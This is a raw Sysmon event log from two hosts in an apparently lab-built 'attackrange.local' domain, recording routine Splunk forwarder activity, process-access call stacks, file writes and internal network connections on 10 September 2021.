AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015258Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:31.700{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F46D660C55A583005B68D4156820561,SHA256=731D12B07C3846017AF3EBDE08617EC95F4E8D8461C65193AEFB58E06A86BB02,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:28.973{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59407-false10.0.1.12-8089- 23542300x800000000000000047666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:32.653{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB00DBFE5835006B8BAA6AF4FE4591D5,SHA256=D76371899C6650C68486F91A9807A27D30EBD4285BE7B40010C2ECC3D9A68737,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015299Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.997{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D4017D4F5F9B101588AAEE3658EB5A93,SHA256=D030F140904ACF21E53FE5970039563B9EAA91F44E47D853A1615A3AE0C1E796,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015298Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7130-613B-CE04-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015297Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015296Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015295Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015294Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015293Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015292Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015291Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015290Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015289Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015288Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7130-613B-CE04-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015287Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.935{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7130-613B-CE04-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015286Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.936{625C326B-7130-613B-CE04-00000000F101}3884C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000047665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:29.364{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59408-false10.0.1.12-8000- 23542300x800000000000000047664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:52:32.013{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=93AD23C277D8B9FE597A70F3D3CBE533,SHA256=FD4B2731B359246166A3B5657CFB263D2BEAD5F5E95687604576E5A13A101574,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015285Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.660{625C326B-7130-613B-CD04-00000000F101}29241952C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015284Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7130-613B-CD04-00000000F101}2924C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015283Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015282Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015281Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015280Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015279Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015278Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015277Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015276Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:32.435{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015275Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 